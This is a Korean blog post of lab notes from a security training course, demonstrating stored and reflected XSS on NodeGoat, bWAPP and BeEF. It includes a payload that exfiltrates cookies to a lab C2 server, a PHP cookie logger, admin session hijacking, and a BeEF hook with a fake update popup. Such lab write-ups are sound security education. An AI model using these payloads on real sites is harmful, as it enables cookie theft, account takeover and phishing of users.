yon11b

[SK 쉴더스 루키즈] XSS Injection 실습 (Stored XSS, Reflected XSS, BeEF-XSS) 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] XSS Injection 실습 (Stored XSS, Reflected XSS, BeEF-XSS)

yon11b 2026. 5. 7. 00:29
반응형

NodeGoat: Stored XSS Injection 공격

'취약점이 있다'는 사실만 검증하는 실습

 

시나리오

회원가입 시 Last Name 칸에 script문을 넣는다.

<script>alert(document.cookie)</script>

 

기대

사용자 계정 정보를 불러올 때마다 해당 script문이 실행될 것이다.

 

시큐어 코딩

태그를 &lt; &gt; 로 변환하여 코드가 실행되지 못하도록 설정하기

autoescape: true

 

다시 로그인하면 스크립트가 실행이 안되고 그냥 문자열로 해석되는 것을 볼 수 있다.

 

 

사실 이건 공격자 서버로 보내는 것이 아니라 그냥 내가 로그인 하고 내 쿠키가 띄워지게 하는 것이기 때문에 실질적인 공격이 수행된 것은 아니다. 그냥 취약점이 존재한다. 를 보여주는 실습이다.

 

bWAPP: Stored XSS Injection 공격

공격 게시글을 방문하면 접속한 사용자의 쿠키가 C2 서버로 보내져서 최종적으로는 admin 권한을 취득하는 실습

 

환경

C2서버: metasploitable (192.168.10.20)

 

시나리오

1. C2서버로 쿠키 보내는 공격 코드 작성하기 (bWAPP)

2. GET으로 들어오는 쿠키 정보를 로그로 남긴다. (metasploitable C2 서버)

3. admin으로 로그인한 후 해당 게시글을 조회한다.

4. C2 서버에 들어온 admin 쿠키를 취득한다.

5. 일반 사용자로 로그인 한 후, 쿠키를 취득한 admin 쿠키로 바꿔 admin 권한을 취득한다.

 

 

1. C2서버로 쿠키 보내는 공격 코드 작성하기 (bWAPP)

글을 로드하는 즉시 사용자의 쿠키가 공격사이트(192.168.10.20/test.php)로 GET 방식으로 전달된다.

<img name='i' width='0' height='0'></img>
<script>i.src="http://192.168.10.20/test.php?cookie=" + document.cookie</script>
This is Test

 

이 코드를 게시판에 올린다.

img size를 0x0으로 했기 때문에 img는 눈에 보이지는 않는다.

 

 

2. GET으로 들어오는 쿠키 정보를 로그로 남긴다. (metasploitable C2 서버)

경로: /var/www/test.php

<?php
	$fd = fopen("/tmp/xsstest.dat", "a+");
    fputs($fd, $_SERVER["REMOTE_ADDR"] . " " . "Cookie=" . $_GET["cookie"] . "\n");
    fclose($fd);
  ?>
  XSS Test Site

 

 

작동 테스트

GET 방식으로 쿠키 전달

 

쿠키가 C2서버 로그에 잘 찍혔다.

 

3. admin(Bee)으로 로그인한 후 해당 게시글을 조회한다.

Welcome Bee

 

 

 

4. C2 서버에 들어온 admin 쿠키를 취득한다.

 

 

5. 일반 사용자로 로그인 한 후, 쿠키를 취득한 admin 쿠키로 바꿔 admin 권한을 취득한다.

 

 

그리고 새로고침하면 내가 admin(bee)로 로그인된 것을 확인할 수 있다.

 

 

+ 로그파일에 들어가서 쿠키를 보는 것이 번거로우므로, 웹에서 볼수 있도록 파일에 소프트링크를 걸어준다.

sudo ln -s /tmp/xsstest.dat /var/www/xssdat.html

 

 

원격제어: beef-xss를 이용한 reflected XSS 공격

[피해자 브라우저]
      ↓ XSS로 hook.js 로드
[hook.js가 WebSocket/AJAX로 BeEF 서버에 계속 연결]
      ↓ 양방향 통신 채널 유지
[공격자가 BeEF 패널에서 명령 전송]
      ↓
[hook.js가 명령 수신 → 피해자 브라우저에서 실행 → 결과 반환]

 

1. beef-xss 서버 실행

이번에는 kali(192.168.10.10)에서 beef-xss를 돌렸다.

 

2. 공격 코드 게시글 올리기

<script src="http://192.168.10.10:3000/hook.js"></script>

이걸 beebug의 게시판에 업로드하면 해당 게시글을 조회한 사람들의 목록을 볼 수 있다.

사용자가 보고 있는 페이지에 대한 원격조종이 가능하다.

 

3. beef-xss 대시보드 접속

주소: 127.0.0.1:3000/ui/panel

 

kali(192.168.10.10)에서 192.168.10.128(beebug) 페이지에 접속하고 난 후 대시보드에 찍히는 모습이다.

 

4. Fake Flash Update 띄우기

우하단 Execute를 누르면, 실시간으로 사용자 화면에 Adobe Update 팝업창이 뜨게 된다.

여기서는 naver.com이 공격사이트라고 가정.

 

 

사용자가 Remind me later를 누르면, 공격자가 원하는대로 naver.com으로 리다이렉트된다.

 

실제 공격상황에서는 공격자가 만든 위조 사이트로 이동시키거나 adobe 설치 페이지랑 비슷하게 만들고 공격파일을 다운받게 하면 된다.

 

5. Fake Notifiacation Bar 띄우기

728x90